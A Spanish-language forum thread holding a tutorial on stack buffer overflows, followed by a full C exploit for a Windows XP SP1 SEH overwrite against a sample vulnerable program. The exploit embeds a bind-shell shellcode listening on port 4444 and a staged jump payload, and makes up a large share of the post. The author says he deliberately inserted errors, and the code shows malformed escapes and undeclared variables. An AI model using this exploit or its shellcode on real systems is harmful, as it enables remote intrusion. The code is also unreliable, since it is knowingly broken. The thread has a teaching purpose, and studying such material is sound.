[Buffer Overflow] Ejemplo y explicación

Iniciado por Mavis, Julio 20, 2011, 02:11:48 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Julio 20, 2011, 02:11:48 AM Ultima modificación: Agosto 08, 2014, 08:42:59 PM por Expermicid
Buffer Overflows.

Todos hemos oido hablar de este pequeño amigo, pero muy poca gente logra entenderlo y muchas menos ponerlo en práctica.

Vamos a explicar un poco en que consisten y como se buscan, para en lo posible, evitar que nos suceda cuando programemos.

Un BO se provoca para inyectar código sobrante en la pila.

La pila.

Ésta es nuestra amiga, la que nos ayudará en el buffer overflow. La pila es donde se guardan las instrucciones que se ejecutarán, incluyendo las funciones, los procedimientos, etc...

Ahora, imaginemos que en nuestro programa llamamos a la funcion pepito.

La función pepito tendrá una dirección de retorno, que modificaremos para poder insertar ahí nuestro código arbitrario.


int ExceptionHandler(void);
int main(int argc,char *argv[]){

        char tuarray[128];
        strcpy(temp,argv[1]);

return 0;
}



¿Qué hace éste programa?. Copiar el array temp con el contenido de argv[1], nada mas. Si os fijáis, no está protegido el contenido del array (su tamaño), por lo que ahí radica nuestra entrada, el fallo que hemos cometido al programarlo y por donde meteremos la zarpa para provocar el buffer overflow. (Existe aquí otra forma de buffer overflow, aprovechando el bloque de la excepción, pero es mas complicada y no la trataremos aquí).

¿Como se provoca el BO.?

Se realiza metiendo en el array mas elementos que tamaño tiene predefinido: mas de 128, para provocar el BO y el fallo del programa.

Si el programa falla, que fallará, vemos que podemos insertar un BO. El BO se compone de un shellCode. El ShellCode no es mas que:

[numerodenops][numerodeshellcodes][numeroderetornos] direccion


Numerodenops indica que introduciremos la instrucción NOP tantas veces como queramos. ¿Por qué?. Porque De esta forma el valor del puntero de instrucciones no necesitara tomar un valor exacto del inicio del shellcode sino que podra ser aproximado, mientras caiga dentro del rango en el que están los nops.
Numeroderetornos indica que introduciremos tantos retornos como queramos, por la razón de que el tamaño del buffer puede variar entre versiones.
Éste es el ejemplo que aprovecha un buffer overflow. Ahora vamos a explicar como usarlo de forma general.

¿Cómo encontrar los BO?.
0) Conocimientos de C y ensamblador.
1) Un buffer que sea desbordable

2) Un shellcode en alguna zona de memoria

3) Conocer la direccion de memoria del shellcode



1) Para encontrar un buffer explotable:

- Seguir habitualmente boletines de seguridad o de desarrollo donde se
informe de este tipo de bugs.
- Buscar instrucciones peligrosas, cmo strcyp, strcat, sprintf, vsprintf, etc.... Generalmente esto no es en absoluto posible, pero si lo programamos nosotros, será fácil.
- Probrar el programa enviandole largas cadenas de texto, números... depende del programa.

2) Normalmente lo meteremos en la pila en el propio buffer desbordado, aunque no siempre es posible.

3) Para localizar nuestro shellcode en memoria usaremos un depurador, (ollydbg, softIce). Ésto obliga a que la máquina a explotar sea la misma que la nuestra.

La tarea del depurador no la explicaremos aquí, por estar ya explicada en miles de documentos en la red, mucho mejor de lo yo lo haría.

Si vamos a poner un ejemplo real, sacado de internet, para que entendáis como funciona y lo comprobéis con un ejemplo.













Código del exploit.


#include<stdio.h>
#include<string.h>
#include<windows.h>

#define RET_ADDRESS 0x77FA8CD5 // XP RET On WinXP Sp1 English

// Stage1 Shellcode:
unsigned char stage1[]= "\xD9\xEE\xD9\x74\x24\xF4\x59\x80\xC1\x0A\x90\xFE\xCD\xFE\xCD\xFF\xE1";

// win32_bind - Encoded Shellcode [\x00\x0a\x09] [ EXITFUNC=seh LPORT=4444 Size=399 ]  No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
unsigned char shellcode[] =
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"
"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"
"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"
"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"
"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"
"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"
"\x99\x2e\x73\x4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"
"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"
"\x0e\x34\x13\x14\xd\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"
"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"
"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"
"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"
"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"
"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"
"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"
"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"
"\xed\x2d\x98\xe\xd9\xa6\x8\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"
"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"
"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"
"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0\xa1\x13\x99\x4e"
"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"
"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"
"\xf7\xd1\x2b\x5\x7a\x7a\x9c\xb0\x55\xa6x7e\xb0\xf0\x2f\xf0\xe2"
"\x5c\x2a\x56\xb0xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"
\x5\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";

int main(int argc,char *argv[]){

char *bufExe[2];
char buf[1024]; //im using an extremly long buffer so an exception will occur and execute our shellcodes
bufExe[0] = "lameseh.exe";
bufExe[2] = NULL;

memset(buf,090,1024);
memcpy(&buf[60],shellcode,sizeof(shellcode));

*(unsigned long *)&buf[520] = 0x909006EB; //jmp to our stage1 shellcode (Push it backwards)
*(unsigned long *)&buf[524] = RET_ADDRESS;
memcpy(&buf[528],stage1,sizeof(stage1)-1);

bufExe[1] = buf;

//Execute the vulnerable application
execve(bufExe[0],bufExe,NULL);
return 0x0;
}


Código del programa.


// lameseh.c - talz

int ExceptionHandler(void);
int main(int argc,char *argv[]){

        char temp[512];

if (argc != 2) exit(0);

__try {

        strcpy(temp,argv[1]);

        } __except ( ExceptionHandler() ){
}
return 0;
}
int ExceptionHandler(void){
printf("Exception");
return 0;
}
He introducido pequeños errores para desalentar a los script kiddies. Lo lamento, pero los que sepan algo de C sabrán corregirlos rápidamente.

Y nada mas. Espero que hayáis disfrutado del manual. Ahora intentadlo vosotros con un programa parecido a ese, e intentad introducid código arbitrario, es la mejor forma de aprender.

Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Buen intro, pero la fuente de referencia esta caida...  ;)

Enero 31, 2018, 03:53:04 PM #2 Ultima modificación: Diciembre 01, 2018, 05:04:49 AM por abeljm
gracias por el aporte ,se te agredece mucho